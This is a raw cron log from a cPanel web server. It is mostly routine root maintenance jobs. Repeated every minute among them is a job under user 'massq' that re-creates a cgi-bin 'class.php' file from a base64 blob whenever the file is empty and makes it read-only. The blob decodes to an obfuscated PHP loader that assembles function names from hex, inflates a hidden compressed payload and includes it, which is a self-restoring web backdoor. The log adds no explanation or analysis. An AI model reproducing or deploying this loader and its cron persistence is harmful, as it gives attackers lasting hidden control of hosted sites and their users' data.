Sep  2 12:07:01 server CROND[11044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:08:01 server CROND[11500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:08:01 server CROND[11501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:08:01 server CROND[11502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:09:01 server CROND[11882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:09:01 server CROND[11883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:09:01 server CROND[11884]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 12:09:01 server CROND[11885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:10:01 server CROND[12341]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:10:01 server CROND[12342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:10:01 server CROND[12347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:10:01 server CROND[12349]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:10:01 server CROND[12344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:10:01 server CROND[12346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:10:01 server CROND[12345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:10:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:11:01 server CROND[13218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:11:01 server CROND[13219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:11:01 server CROND[13220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:12:01 server CROND[13600]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:12:01 server CROND[13602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:12:01 server CROND[13603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:12:01 server CROND[13601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:13:01 server CROND[13991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:13:01 server CROND[13990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:13:01 server CROND[13993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:14:01 server CROND[14452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:14:01 server CROND[14453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:14:01 server CROND[14455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:15:01 server CROND[14855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:15:01 server CROND[14859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:15:01 server CROND[14863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:15:01 server CROND[14864]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 12:15:01 server CROND[14865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:15:01 server CROND[14868]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:15:01 server CROND[14871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:15:01 server CROND[14866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:15:01 server CROND[14869]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 12:15:01 server CROND[14867]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 12:16:01 server CROND[15775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:16:01 server CROND[15776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:16:01 server CROND[15777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:17:01 server CROND[16152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:17:01 server CROND[16153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:17:01 server CROND[16155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:18:01 server CROND[16527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:18:01 server CROND[16528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:18:01 server CROND[16536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:19:01 server CROND[16995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:19:01 server CROND[16996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:19:01 server CROND[16997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
